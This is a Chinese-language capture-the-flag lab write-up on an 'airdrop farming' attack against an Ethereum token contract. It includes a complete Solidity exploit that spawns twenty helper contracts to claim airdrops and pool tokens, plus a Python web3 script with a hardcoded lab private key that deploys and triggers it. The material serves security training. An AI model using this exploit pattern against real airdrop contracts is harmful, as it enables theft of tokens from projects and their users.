某60区块链安全之薅羊毛攻击实战一学习记录

区块链安全

文章目录


薅羊毛攻击实战一

实验目的

学会使用python3的web3模块

学会分析以太坊智能合约薅羊毛攻击漏洞

找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

实验内容

合约中内置了空投函数和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可

使用python3的web3模块远程利用漏洞并获取flag

实验地址为nc ip 10009

薅羊毛攻击实战一 实验步骤

获取合约地址和合约源代码

nc ip 10009连接到题目,输入1,获取部署合约的game account及token

打开http://ip,输入上述分配的game account,点击Request获取eth

ctrl+shift+d

退出

nc ip 10009连接到题目,输入2,获取部署合约的地址及new token

nc ip 10009连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码

分析合约源代码漏洞

题目要求将合约中的flag变量设置为true

分析代码逻辑,需要满足balanceOf[msg.sender] >= 2000才能设置flag为true

题目中有空投函数,每次空投可以使 balance 增加 100,并且也有转账函数,可以将 balance 转给其他用户

那么我们可以使用薅羊毛的攻击方式,创建 20 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 2000

EXP利用

编写攻击合约attack.sol,将下述ETH9地址替换成自己题目合约的地址,主要包括三个功能:middle_attack合约用于申领空投,并转账给主攻击合约attack;attack合约通过new函数不断申请创建middle_attack合约,直至满足balanceOf[attack] >= 2000;当balanceOf[attack] >= 2000时,调用attack合约的get_flag函数,在get_flag函数中调用题目合约的payforflag函数将flag设置为true

bash 复制代码
pragma solidity ^0.4.23;

contract attack{
    function attack_airdrop() public {
        for(uint i = 0; i < 20; i++){
            new middle_attack(address(this));
        }
    }

    function get_flag() public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.payforflag();
    }
}

contract middle_attack{
    constructor(address addr) public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.gift();
        target.transfer(addr,100);
    }
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

bash 复制代码
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack']

# deploy attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

# call attack_airdrop() in attack.sol
data = Web3.keccak(text='attack_airdrop()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call attack_airdrop() success")

time.sleep(5)

# call get_flag() in attack.sol
data = Web3.keccak(text='get_flag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call get_flag() success")

执行exp

nc ip 10009连接到题目,输入3,输入之前的new token,获取flag

相关推荐
用户962377954481 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
kida_yuan7 天前
【以太来袭】4. Geth 原理与解析
区块链